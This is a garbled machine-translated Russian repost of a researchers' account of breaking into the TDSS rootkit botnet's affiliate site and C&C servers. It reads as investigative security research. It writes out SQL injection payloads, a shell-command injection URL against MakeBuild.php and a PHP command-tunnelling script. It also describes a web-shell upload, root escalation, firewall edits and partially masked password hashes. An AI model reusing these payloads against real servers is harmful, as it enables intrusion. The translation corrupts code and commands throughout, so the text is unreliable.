TDSS является широко распространенное руткит, который образует мощный ботнет. TDSS изучено довольно хорошо сегодня. Howewer, никакие исследования не включают в себя ничего, кроме анализа двоичного кода и общих векторов атак. Основная цель этой статьи состоит в том, чтобы заполнить этот пробел в базе знаний безопасности ИТ, раскрывая механизмы TDSS ботнетов. Кроме того, мы смиренно надеясь извлечь выгоду существующей методологии расследования компьютерных преступлений. Это исследование показывает общий способ, чтобы найти "цифровой ядро" в cyberband, имея только свой инструмент (вредоносный двоичный файл). Пиз отметить, что этот метод позволяет найти всю техническую информацию о происшествии, в то время как персональный идентификационный и судебное преследование нарушителей остается в правоохранительных органах области. Статья состоит из двух частей. В первой части процесс разбивания в ботнет покрывается шаг за шагом. Вторая часть посвящена анализу внутренних деталей ботнета. Потому что мы получили доступ к базе данных C & C, объективная статистика ботнета включается в конце статьи. Ворвавшись в ботнет Распределение TDSS вредоносных программ осуществляется через партнерскую программу «Dogma Millions». счет партнера на сайте dogmamillions.com Наиболее распространенным способом распространять двоичный файл для перенаправления пользователей на целевые страницы, предоставляемые партнерской программе. Визитной пользователя такая целевая страница будет заражен TDSS. Веб-мастер-партнера награжден каждой успешной установки руткита. Удобные статистика доступна для отслеживания зараженных компьютеров и прибыль. Кроме того, веб-мастер может создавать отдельные субсчета для анализа эффективности различных транспортных кампаний. Дополнительная учетная запись с ссылкой для загрузки исполняемого файла TDSS Во-первых, сайт партнерская программа была проанализирована. Это позволило нам получить доступ к статистике базы данных и дампа веб-мастеру domamillions.com сервера. После этого мы перешли к анализу серверов C & C. Инъекция SQL через конфигурационный файл бота можно читать скрипты на сервере. После некоторых исследований нам удалось внедрить веб-оболочку, через одну из уязвимостей, и, наконец, получили корень на C & C. Давайте вдаваться в подробности. Ворвавшись в партнерской программе База данных MySQL v5 была установлена на сервере dogmamillions.com. Таким образом, все запросы к базе данных, как описано ниже, выполняются в MySQL языка запросов. Во- первых, доступ к базе данных была Gaine: во - первых , с помощью инъекции слепых SQL - атаки , а затем с помощью инъекции SQL атаки. Как уже упоминалось ранее, пользователи могут создавать dogmamillions.com субсчета. Они создаются с помощью HTTP GET-запроса: http://dogmamillions.com/index.php?request=members.sab_account&create=1 После выполнения этого запроса новый субсчет с идентификатором 1 создается учетная запись партнера. Он может быть удален, указав его идентификатор в соответствующем GET-запроса: http://dogmamillions.com/index.php?request=members.sab_account&delete=1 Слепой атака SQL-инъекция была выполнена следующим образом. Необходимо было создать субсчет с любым ID, а затем попытаться удалить его. Параметр удаления запроса был уязвим, поэтому можно было выполнить атаку, отправив следующий запрос на сервер: http://dogmamillions.com/index.php?...f(ord(substring((version()),1,1))>1,1,0xffff) Если значение ord(substring((version()),1,1))больше 1, чем ifусловие возвращает 1, и запрос выглядит следующим образом (упрощенно): http://dogmamillions.com/index.php?request=members.sab_account&delete=1 Если условие ложно, чем запроса будет выглядеть следующим образом: http://dogmamillions.com/index.php?request=members.sab_account&delete=0xffff Таким образом, субсчет будет удален только если условие deleteпараметра верно. Blind SQL Injection атаки могут быть выполнены с использованием этой информации. Другой вариант той же атаки возможно. createПараметр команды для создания субсчете также уязвима. После запроса создаст субсчетом с идентификатором равным значению первого символа вывода команды версии (): http://dogmamillions.com/index.php?...ccount&create=ord(substring((version()),1,1)) Поэтому, если версия базы данных сервера больше 5, чем первый символ строки, возвращаемой версии () команда "5". ASCII-код этого символа 53, поэтому субсчет с идентификатором 53 будет создана учетная запись партнера. филиалы affId affAid affLogin affPassword affGroup affBalance affBalanceEarnings affBalancePayout affBalanceRefferal affbalancecpv affBalanceBonus affBalancePenalty affiliatesaccounts affId affSid бонусы страны cpvearnings cronUpdateStatFeeds cronId cronCreated cronStart cronCompleted cronDateFrom cronDateTo cronStatus crontime домены Я бы домен статус категория группы приглашает менеджеры Новости платежи paymentsfields paymentsperiods paymentsproperties paymentstypes штрафы statisticsearnings statisticsinstalls statisticsrefferals substatearnings Перечень таблиц из dogmamillions.comбазы данных 1: Ro **: c94405aee9b728bad ************ B1F 3: **** над: 5f4dcc3b5aa765d61 ************ F99 Первые субсчета из affiliatesтаблицы dogmamillions.com dogmamillions.comбазы данных Эксплуатация описанных уязвимостей позволило нам проанализировать сервер баз данных dogmamillions.com. Ворвавшись в C & C По состоянию на время этого анализа, серверы C & C из TDSS бот-сети были расположены в следующих доменах и IP-адресов (фрагмент файла конфигурации руткита): [Tdlcmd] серверы = https: //d45648675.cn/; https: //d92378523.cn/; https: //91.212.226.62/ wspservers = HTTP: //b11335599.cn/; HTTP: //b00882244.cn/ popupservers = HTTP: //m3131313.cn/ Ботнет контролируется тремя серверами , указанными в serversобласти конфигурационного файла. Таким образом , эти серверы проверяются на наличие уязвимостей в первую очередь. Анализ бинарного файла бота показал, что данные отправляются на сервер со следующим алгоритмом: Создание пакета данных; Закодировать его с помощью алгоритма RC4, использование IP или доменное имя целевого сервера в качестве ключа; Закодировать его дополнительно с помощью алгоритма Base64; Отправка данных на сервер. Псевдокод алгоритмов кодирования и декодирования, выглядит следующим образом: сhar * encoded_data = base64_encode (rc4_encrypt (данные, ключ)); сhar * decoded_data = rc4_decrypt (base64_decode (данные), ключ); В данных, которые передаются на сервер троянцем, уязвимости были обнаружены, которые могут быть использованы для выполнения Blind SQL-инъекции и атаки SQL-инъекции. В частности, после того, как неверный запрос GET сервер возвращается сообщение об ошибке с закодированной строки и полный путь к уязвимому сценарию сервера внутри. Сообщение об ошибке запроса неправильного сервера Сообщение об ошибке запроса неправильного сервера Кодированная строка декодирует следующей команды: удаления | 42F831D92B3BE5076B635F2347C80A41 | 10000 | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll |% SYSDIR% \ qo.dll | успех Точное назначение этой команды в момент нападения была неясна. Но мы могли бы обнаружить, что третий параметр в спайка разделенным списке уязвима. Первая версия использовать для чтения данных из базы данных была разработана с использованием метода задержки. Атака запрос как следующим образом: удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((версия ()), 1,1))> 1, сон (3), 1) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ Qo .dll | успех Эта атака основана на команде , которая задерживает ответ базы данных в течение 3 секунд в случае успеха и не делает никаких задержек в случае неудачи. Это стандартный вариант слепых SQL - атаки задержки впрыска, за исключением факта , что мы использовали sleep()вместо того , benchmark()так как он не делает нагрузку на СУБД. База данных Прежде всего мы проверили , если текущий пользователь имеет привилегии для чтения и записи данных сервера ( File_priv). Чтобы выяснить это, мы послали следующий запрос к серверу: удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((SELECT File_priv FROM mysql.user WHERE (CONCAT_WS (CHAR (64), пользователь, хост) как пользовательский ())), 1,1))> 1, сон (3), 1) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ qo.dll | успех Результат использовать для Blind SQL Injection с задержкой Результат использовать для Blind SQL Injection с задержкой Атака прошла успешно, таким образом, мы имели возможность читать и записывать файлы на сервере. Однако, так как чтение файлов с предыдущей эксплуатации будет очень медленным, запрос к базе данных была переработана следующим образом: удаления | 42F831D92B3BE5076B635F2347C80A41 | если (Ord (подстрока ((версия ()), 1,1))> 1,1, (выберите 1 союз выберите 2)) | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll | SYSDIR \ qo.dll | успех Если условие истинно, новая команда возвращает ошибку, и если условие ложно, то команда будет успешно завершена. Описанная эксплоит позволил нам сбросить базу данных сервера и читать файлы сценариев. Результаты эксплуатации без задержки Сценарии Анализ файла index.phpи сценариев , включенных в него показали новую уязвимость, которая , наконец , позволил нам выполнить классическую атаку типа SQL Injection. Давайте анализировать код index.phpи modules.php: <? PHP пытаться { ... // $ _ SERVER [ "REQUEST_URI"] $ = Rc4Decrypt Запрос ($ _SERVER [ "HTTP_HOST"], base64_decode (зиЬзЬг ($ _SERVER [ "REQUEST_URI"], 1))); $ RequestCount = 0; $ RequestHost = $ _SERVER [ "HTTP_HOST"]; если ($ запроса) { $ Запрос = взорваться ( '|', $ запрос); $ RequestCount = SizeOf ($ запроса); } Еще { заголовок ( "HTTP / 1.0 404 Not Found"); Выход(); } ... } ElseIf ($ запрос [0] == 'модуль') { DBase :: подключить (DBASE_HOST, DBASE_USER, DBASE_PWD, DBASE_BASE); включают в себя ( 'modules.php'); DBase :: разъединение (); } ... } Еще { var_dump ($ запроса); var_dump (base64_encode (rc4Encrypt ($ _ SERVER [ "HTTP_HOST"], "для удаления | 42F831D92B3BE5076B635F2347C80A41 | 10000 | 0 | ДВР | Trojan.Agent | C: \ WINDOWS \ system32 \ qo.dll |% SYSDIR% \ qo.dll | Успех '))); заголовок ( "HTTP / 1.0 404 Not Found"); Выход(); } } Поймать (Exception $ е) { печать $ е; } Часть index.phpсценария (пропущенная кода заменяется точками) <? PHP require_once (DIR_LIBRARY_MODELS DS 'mModules.php' ..); если (preg_match ( "% (\ d *)! (. *)!% Uis", $ запрос [1], $ соответствует)) { $ ModId = $ соответствует [1]; $ ModCrypt = $ соответствует [2]; } Еще { $ modId = $ запрос [1] ; $ ModCrypt = FALSE; } $ ModDetails = mModules :: подробности ($ modId); если ($ modCrypt) { печать rc4Encrypt ($ modCrypt, $ modDetails [ 'modData']); } Еще { печать $ modDetails [ 'modData']; } mModules :: приращение ($ modId); Уязвимый параметр в modules.phpсценарии Как вы можете видеть, $request[1]значение не проверяется перед использованием, так что эксплуатация можно следующим образом : Модуль | -1 объединение выберите 0,1, граф (*), 3 от пользователей При обработке этой команды от бота, сервер выдаст сообщение об ошибке , содержащее правильный вывод из выполнения команды SQL, т.е. количество записей в usersтаблице. Тестирование SQL Injection эксплуатируют и ответ сервера по запросу Тестирование SQL Injection эксплуатируют и ответ сервера по запросу Новый эксплойт дало возможность читать файлы и базы данных в 10 раз быстрее, чем предыдущий. Наша следующая цель состояла в том, чтобы ввести скрипт на веб-сайт, который может позволить нам выполнять команды на сервере без какой-либо эксплуатации. инъекции веб-оболочки В этот момент мы могли бы легко загрузить скрипт на сервер через одну из ошибок сценариев , описанных ранее. Но мы не могли ge accesк загруженному сценарию, потому что все веб - запросы к серверу были перенаправлены index.php. Таким образом , мы должны были найти файл конфигурации HTTP - сервера, и изменить его, чтобы обойти ограничения. Во- первых, мы запросили различные возможные пути к файлу конфигурации через уязвимость SQL Injection. Для автоматизации этого процесса, был использован с открытым исходным кодом программы 'wfuzz'. Нам пришлось модифицировать программу так , чтобы она закодированные данные перед отправкой его на сервер. Таким образом, необходимо конфигурационный файл был расположен /etc/lighttpd/lighttpd.conf. Содержание lighttpd.conf Содержание lighttpd.conf Из конфигурационного файла мы узнали , что переназначение была вызвана mod_rewriteмодулем. Include-vhost-enabled.pl скрипт включены файлы конфигурации для отдельных виртуальных серверов. Howewer, имена этих конфигурационных файлов были получены путем перечисления файлов в заданной директории. Таким образом, путь к файлу , который необходимо было решить проблему перенаправления был до сих пор неизвестна. Чтобы найти нужный файл, мы проверили большой список доменных имен и IP-адресов внутри TDSS бот-сети: /etc/lighttpd/sites-enabled/212.117.162.50.conf /etc/lighttpd/sites-enabled/212.117.162.1.conf /etc/lighttpd/sites-enabled/91.212.226.59.conf /etc/lighttpd/sites-enabled/91.212.226.60.conf /etc/lighttpd/sites-enabled/91.212.226.61.conf /etc/lighttpd/sites-enabled/91.212.226.62.conf /etc/lighttpd/sites-enabled/91.212.226.63.conf /etc/lighttpd/sites-enabled/91.212.226.64.conf /etc/lighttpd/sites-enabled/91.212.226.65.conf /etc/lighttpd/sites-enabled/91.212.226.66.conf /etc/lighttpd/sites-enabled/91.212.226.67.conf /etc/lighttpd/sites-enabled/195.24.72.6.conf /etc/lighttpd/sites-enabled/83.243.8.6.conf /etc/lighttpd/sites-enabled/server.lu.conf /etc/lighttpd/sites-enabled/www.server.lu.conf Часть списка возможных путей файлов конфигурации Тем не менее, только эвристический ручной поиск приведет к успеху. Необходимый файл конфигурации был , наконец , находится в /etc/lighttpd/sites-enabled/engine.conf. $ SERVER [ "гнездо"] == "91.212.226.63:80" { $ HTTP [ "хостов"] = ~ "(. *)?" { server.document-корень = "/ Var / WWW / dm_builder / PHP /" # Url.redirect = ( "^ / PHPMyAdmin /(.*)" => "https://213.133.110.18/phpmyadmin/$1") url.rewrite однократно = ( "^ / 087dggl094aa / \? помощь = (. *) & с.и.д. = (. *) $" => "/MakeBuild.php?aid=$1&sid=$2") accesslog.filename = "/var/log/lighttpd/build.log" } server.document-корень = "/ Var / WWW / dm_builder / PHP /" } $ SERVER [ "гнездо"] == "212.117.162.50:80" { $ HTTP [ "хостов"] = ~ "(. *)?" { server.document-корень = "/ Var / WWW / dm_builder / PHP /" # Url.redirect = ( "^ / PHPMyAdmin /(.*)" => "https://213.133.110.18/phpmyadmin/$1") url.rewrite однократно = ( "^ / 087dggl094aa / \? помощь = (. *) & с.и.д. = (. *) $" => "/MakeBuild.php?aid=$1&sid=$2") accesslog.filename = "/var/log/lighttpd/build.log" } server.document-корень = "/ Var / WWW / dm_builder / PHP /" } $ SERVER [ "гнездо"] == "91.212.226.60:443" { ssl.engine = "включить" ssl.pemfile = "/etc/lighttpd/ssl/chief.pem" server.document-корень = "/ Var / WWW / двигатель / общественность" server.errorlog = "/var/log/lighttpd/engine_error.log" accesslog.filename = "/var/log/lighttpd/engine_access.log" url.rewrite = однократно ( "^ / (. *) $" => "/index.php?request=$1") } Часть engine.conf Файл engine.conf содержатся настройки для шести серверов. Только двое из них были настроены для перенаправления HTTP - запросов index.php. Остальные серверы были настроены для перенаправления запросов HTTPS на MakeBuild.php. MakeBuild.phpСценарий был разработан, чтобы собрать и настроить TDSS руткит двоичный файл. Сценарий принимает ряд аргументов, один из них поставляя информацию отладки для двоичного файла. <? если (! Исеть ($ _ GET [ 'помощь'])) выход (); $ AID = $ _ GET [ 'помощь']; $ SID = $ _ GET [ 'с.и.д.']; если (пусто ($ SID)) $ SID = 0; $ DBG = $ _ GET [ 'DBG']; $ ENC = $ _ GET [ 'ENC']; / * Если ($ AID == 20034 || $ AID == 20124) { $ URL = "http://213.133.110.18/03kd7nml094hx09/?aid={$AID}&sid={$SID}"; если ($ ENC) $ URL = "& ENC = {$ ENC}". если ($ DBG) $ URL = "& DBG = {$ DBG}". заголовок ( "HTTP / 1.1 302 Found"); заголовок ( "Location: {$ URL}"); Выход(); } * / $ BuildPath = "./ строит / {$ AID} - {$ SID} .exe"; $ Статус_завершения = NULL; (! ChDir ( '/ Var / WWW / строитель /')), если выход (); // выход ( 'Ошибка: Can \' т ChDir '); Exec ( "/ USR / бен / вино builder.exe {$ AID} {$ SID}", $ выводимого изображения, $ статус_завершения); если ($ DBG) {разъединить ($ BuildPath); эхо "<HTML> <предварительно> \ п + ------------------------------ + \ п"; print_r ($ выход); эхо "\ п = ------------------------------ = \ п"; выход ( 'Builder статус выхода:'. $ статус_завершения); } Часть MakeBuild.phpсценария Как вы можете видеть из листинга, аргументы сценария, не проверяются перед передачей их в exec()функцию, поэтому удаленное выполнение команды может занять место там. Кроме того, dbgпараметр позволяет печатать выходные данные выполняемой команды. взял сдесь http://www.nobunkum.ru/analytics/en-tdss-botnet
продолжение Следующий запрос будет напечатать список всех файлов в текущем каталоге: http://91.212.226.63/087dggl094aa/MakeBuild.php?aid=;ls;&dbg=1 Мы использовали эту уязвимость для загрузки веб-оболочку на сервер. Повышение привилегий Нам удалось получить привилегии суперпользователя на сервере, эксплуатируя известную sock_sendpage()уязвимость. Существующий эксплоит должен быть изменен , чтобы разрешить выполнение в 64 - разрядной среде. Ботнет панель администрирования В той же директории с engine.confфайлом другой конфигурационный файл был найден, в котором содержатся параметры панели управления ботнетом. $ SERVER [ "гнездо"] == "91.212.226.59:443" { ssl.engine = "включить" ssl.pemfile = "/etc/lighttpd/ssl/chief.pem" # $ HTTP [ "хостов"] = ~ "^ engineadmin \ .com $" { server.document-корень = "/ Var / WWW / двигатель / инструменты / общественность" server.errorlog = "/var/log/lighttpd/admin.engine_error.log" accesslog.filename = "/var/log/lighttpd/admin.engine_access.log" url.rewrite = однократно ( "^ / ([0-9a-Za-Z /]+)/?\??(.*=.*)?$" => "/index.php?request=$1& $ 2 ") $ HTTP [ "URL"] = ~ "^ /" { auth.backend = "Htpasswd" auth.backend.htpasswd.userfile = "/etc/lighttpd/htpasswd.engine" auth.require = ( "/" => ( "Метод" => "основной", "Царство" => "Используйте свой номер кредитной карты, как имя пользователя, CVV2 в качестве пароля Спасибо.", "Требуют" => "действительный-пользователь" ) ) } #} } Содержание engine_admin.confфайла Как вы можете видеть из файла, IP - адрес панели администрирования был 91.212.226.59. Сначала мы не смогли открыть его в браузере, так как наш IP - адрес не был в белый список для доступа к панели. Таким образом , мы должны были исправить белый список путем модификации правил брандмауэра в /root/ipt.rulesфайле. -A -i ВВОД ло -j ACCEPT -a -s Ввод 66.148.74.126/32~~HEAD=poss~~poss -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT -A -s ВВОД 188.40.72.68/32 -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT -A -s ВВОД 188.40.72.125/32 -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT -A -s ВВОД 204.12.213.144/29 -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT -a -s Ввод 91.212.226.49/32~~HEAD=poss~~poss -p TCP -m TCP -m мультипортовый --dports 22,443,80,873,3306 -j ACCEPT -А -d 212.117.162.50/32~~HEAD=poss ВХОД -p -m TCP протокола TCP -m мультипортовый --dports 443,80 -j REJECT --reject-ИКМП-ПОРТ-недостижим -А -d 91.212.226.59/32~~HEAD=poss ВХОД -p -m TCP протокола TCP -m мультипортовый --dports 443,80 -j REJECT --reject-ИКМП-ПОРТ-недостижим -А -i Eth0 -p -m Ввод TCP протокола TCP -m мультипортовый --dports 3306 -j REJECT --reject-ИКМП-ПОРТ-недостижим -A -s ВВОД 195.138.81.135/32 -p TCP -m TCP --dport 22 -j ACCEPT -А -i Eth0 -p -m ВВОД TCP TCP --dport 873 -j REJECT --reject-ИКМП-ПОРТ-недостижим -А -i Eth0 -p -m ВВОД TCP TCP --dport 22 -j REJECT --reject-ИКМП-ПОРТ-недостижим COMMIT Исходное содержимое ipt.rulesфайла После разрыва начальной проверки авторизации IP, мы нашли еще одно препятствие для доступа к панели: Basic Authorization. Для прохождения базовой аутентификации, мы добавили новый логин к файлу htpasswd.engine. После получения доступа к серверу, можно было также прочитать текстовый пароль из базы данных. Панель управления имеет дружественный пользовательский интерфейс, позволяющий просматривать подробную статистику ботнетов, такие как: общую сумму установки руткитов в день, национальность каждого бота, версии операционной системы и версии браузера. Кроме того, с помощью панели можно просмотреть дополнительные загружаемые модули для руткита, а также для просмотра команд которые в настоящее время выполняются роботами. Статистика инфекций по дням Статистика по ОС Запущенный команды Статистика по странам TDSS модули Изменение серверов C & C В то время как мы играли вокруг с панели управления, новая версия руткита (3.64) начал распространяться, который общался с совершенно разными серверами C & C [Tdlcmd] серверы = https: //a57990057.cn/; https: //a58990058.cn/; https: //94.228.209.145/ wspservers = HTTP: //c36996639.cn/; HTTP: //c58446658.cn/ popupservers = HTTP: //m2121212.cn/ Сценарии управления были изменены на новом сервере. В частности, уязвимость , которая позволила отобразить вывод команды в сообщении об ошибке сервера был установлен. Но другие уязвимые места, которые мы нашли все еще были там, так что можно было прочитать index.phpфайл. В соответствии с его кодом, все исключения теперь записываются в лог - файл. Параметры сервера были изменены тоже. Помимо всего прочего, фронтэндом была установлена (Nginx) в дополнение к lighttpdсерверу HTTP. engine.confФайл не изменился. Панель конфигурации была перенесена в 188.72.242.191, в то время как наш бэкдор сценарий остался на 188.72.242.190. Таким образом, нам не удалось получить доступ к бэкдор. Следующий сценарий был разработан, чтобы решить эту проблему: <? PHP $ Ф.П. = Fsockopen ( "SSL: //94.228.209.145", 443, $ ERRNO, $ ErrStr); если (! $ Ф.П.) умереть ( "[е] $ ERRNO, $ ErrStr"); $ = Заголовок "GET /MakeBuild.php?aid=;".urlencode($argv[1]).";&dbg=1 HTTP / 1.1 \ г \ п"; $ Заголовок = "Хост: bld.newnetengine.com \ г \ п";. $ Заголовок = "Подключение: закрыть \ г \ п \ г \ п";. FWRITE ($ ∥f∥p, $ заголовка); (! Feof ($ Ф.П.)) при печати (fgets ($ ∥f∥p, 256)); fclose ($ Ф.П.); печать $ любителем; Выполнение команд на новом сервере с помощью MakeBuild.phpфайла Этот скрипт позволяет прозрачное туннелирование команд для старого сервера благодаря Nginx, который выполняет перенаправление HTTP - запросов к серверу , определенному в "Host:" поле запроса ( bld.newnetengine.com). Часть 2. Анализ Ботнет сервер команда работает под управлением 64-битной Ubuntu Linux: # Имя_пользователя -a Linux C020 2.6.29.2 # 1 SMP Sun 26 июля 11:29:05 CEST 2009 x86_64 GNU / Linux # Кошка / и т.д. / LSB-релиз DISTRIB_ID = Ubuntu DISTRIB_RELEASE = 9,04 DISTRIB_CODENAME = бойкий DISTRIB_DESCRIPTION = "Ubuntu 9.04" IP-адреса назначаются для сетевого интерфейса eth0: # Ifconfig eth0 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 212.117.162.50 Bcast: 212117162255 Маска: 255.255.255.0 inet6 адр: FE80 :: 221: 85ff: fe63: 2c55 / 64 Область применения: Ссылка UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 RX пакеты: 8401814139 ошибки: 0 отбрасывается: 0 перерасход: 0 кадр: 0 TX пакеты: 7557368326 ошибки: 0 отбрасывается: 0 перерасход: 0 перевозчика: 0 столкновения: 0 txqueuelen: 1000 RX байт: 855626520252 (855,6 Гб) TX байт: 4595270022127 (4,5 ТБ) Прерывание: 17 Базовый адрес: 0x2000 eth0: 1 Ссылка ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с: 55 инет адр: 91.212.226.59 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 2 Ссылка ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с: 55 инет адр: 91.212.226.60 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 3 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 91.212.226.61 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 4 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 91.212.226.62 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 5 Ссылка ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с: 55 инет адр: 91.212.226.63 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 6 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 91.212.226.64 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 7 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 91.212.226.65 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 8 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 91.212.226.66 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 eth0: 9 Link ENCAP: Ethernet HWaddr 00: 21: 85: 63: 2с 55 инет адр: 91.212.226.67 Bcast: 91255255255 Маска: 255.255.255.255 UP BROADCAST RUNNING MULTICAST MTU: 1500 Metric: 1 Прерывание: 17 Базовый адрес: 0x2000 Lo ENCAP Ссылка: Local Loopback инет адр: маска 127.0.0.1: 255.0.0.0 inet6 адр: :: 1/128 Область применения: Хост UP LOOPBACK RUNNING MTU: 16436 Метрика: 1 RX пакеты: 10295737718 ошибки: 0 отбрасывается: 0 перерасход: 0 кадр: 0 TX пакеты: 10295737718 ошибки: 0 отбрасывается: 0 перерасход: 0 перевозчика: 0 столкновения: 0 txqueuelen: 0 RX байт: 3644745121946 (3,6 ТБ) TX: 3644745121946 байт (3,6 ТБ) Среди них, четыре IP-адреса (91.212.226.60, 91.212.226.61, 91.212.226.62 и 91.212.226.64) реле на веб-ворота для ботов, два из них (91.212.226.63 и 212.117.162.50) используются для доступа к компиляции скриптов, и один (91.212.226.59) указывает на панели управления. Учетные записи пользователей , перечисленных в /etc/shadowфайле На момент анализа список процессов сервера выглядел следующим образом: PID TTY STAT TIME COMMAND 1076? S <s 0:04 / SBIN / udevd --daemon 1575? S 1154: 22 / USR / SBIN / Lighttpd -f /etc/lighttpd/lighttpd.conf 2453? Ss 0:00 / SBIN / mdadm --monitor --pid-файл /var/run/mdadm/monitor.pid --daemonise --scan --syslog 3801 tty2 + Ss 0:00 / SBIN / Гетти 38400 tty2 3826? Ss 0:16 / SBIN / Syslogd -u Syslog 3845? S / DD бен 0:00 / O 1, если / Proc / из kmsg в / VAR / Run / Klogd / kmsg 3848? Ss 0:00 / SBIN / Klogd -Р / вар / запустить / Klogd / kmsg 3890? Ss 1:54 / bin / DBus --system демон 3936? Ssl 69:36 / USR / SBIN / -u с именем связывают 3973? Ss 0:01 / USR / SBIN / пЪрд -p /var/run/ntpd.pid -u 108: 117 -g 3986? Ss 0:01 / USR / SBIN / SSHD 3991? Sl 1736: 18 / USR / bin / Memcached -m 2048 -p 11211 -u никто -l 127.0.0.1 4067? Ss 0:00 / USR / Библиотека / постфикса / мастер 4084? S 0:00 QMGR -l -t ФИФО -u 4086? Ss 0:00 / USR / SBIN / Winbindd 4113? S 0:00 / USR / SBIN / Winbindd 4118? Ss 86:34 Avahi-демон: бег [C020.local] 4119? Ss 0:00 Avahi-демон: корневым помощник 4134? S 0:00 / USR / бен / Rsync --no-открепление --daemon --config /etc/rsyncd.conf 4185? Ss 0:03 / USR / SBIN / хрон 4220 tty1 Ss + 0:00 / SBIN / Гетти 38400 tty1 4225? Ssl 36:54 / USR / SBIN / консольный комплект-демон 4436? S <223: 30 [Loop3] 4465? S <72:26 [kjournald2] 4498? S 0:00 / бен / ш / USR / бен / mysqld_safe 4728? SLL 87943: 36 / USR / SBIN / туздЫ 6773? S 0:39 / USR / бен / PHP-CGI 7303? S 0:32 / USR / бен / PHP-CGI 7320? S 0:31 / USR / бен / PHP-CGI 7447? S 0:27 / USR / бен / PHP-CGI 7590? S 0:25 / USR / бен / PHP-CGI 7796? S 0:19 / USR / бен / PHP-CGI 7944? S 0:16 / USR / бен / PHP-CGI 7982? S 0:15 / USR / бен / PHP-CGI 8002? S 0:00 / USR / SBIN / CRON 8048? Ss 0:00 / бен / ш -с / USR / бен / PHP /var/www/engine/cron/affiliatesstatisticsbuildslife.php 8058? S 0:05 / USR / бен / PHP /var/www/engine/cron/affiliatesstatisticsbuildslife.php 8243? S 0:00 / USR / SBIN / CRON 8282? Ss 0:00 / бен / ш -с / USR / бен / PHP /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php 8287? S 0:06 / USR / бен / PHP /var/www/engine/cron/affiliatesstatisticsbuildsmlife.php 8467? S 0:00 / USR / SBIN / CRON 8483? Ss 0:00 / бен / ш -с / USR / бен / PHP /var/www/engine/cron/affiliatesstatisticsbuildswlife.php 8484? S 0:03 / USR / бен / PHP /var/www/engine/cron/affiliatesstatisticsbuildswlife.php 8637? С 0:00 zvukosnimatel' -l -t -c -u FIFO 8812? S 0:30 / USR / бен / PHP-CGI 8903? S 0:26 / USR / бен / PHP-CGI 8937? S 0:18 / USR / бен / PHP-CGI 8966? S 0:17 / USR / бен / PHP-CGI 8971? S 0:16 / USR / бен / PHP-CGI 9057? S 0:08 / USR / бен / PHP-CGI 9081? S 0:05 / USR / бен / PHP-CGI 9249? S 0:03 / USR / бен / PHP, CGI 9299? S 0:00 ш -с пс топор 9300? R 0:00 пс топор 26004? S 0:00 [pdflush] 26007? S 0:01 [pdflush] 27746? Ss 0:00 SSH-агент 28031? Ss 0:01 / USR / бен / PHP-CGI 28042? Ss 0:03 / USR / бен / PHP-CGI
продолжение снова База данных и скрипты На программном обеспечении сервера MySQL установлен для доступа к базам данных. LightTPD с поддержкой PHP используется для обработки HTTP - запросов. Часть данных, используемых вмомент наиболее часто кэшируются в памяти с помощью Memcached программы. Панель администратора скрипты и скрипты ботнет шлюза расположены в/var/www/engineдиректории, которая организована следующим образом : + --- Хрон - регулярные скрипты PHP + --- Данных - база данных GeoIP адресов и некоторых текстовых файлов + --- Библиотека - различные PHP библиотеки, используемые скрипты + --- Общественностью - сценарии для обработки запросов от ботов | (Корневой каталог шлюза ботнет) \--- инструменты | + --- Контроллеры - сценарии панели администрирования | + --- Макеты - базовый шаблон HTML для панели управления | + --- Публичные - сценарии базовая панель администрирования | | (Корневой каталог панели администрирования веб-сервера) | + --- Вид - HTML макеты страниц панели администрирования различных + --- Configuration.php - параметры доступа к базе данных и т.д. На сегодняшний день доступа, сервер базы данных содержится 47 таблиц с общим 17 719 469 записей, а его размер составлял около 2,6 Гб. Имена таблиц и его цели: название таблицы Количество записей размер данных Цель affiliates 512 80,0 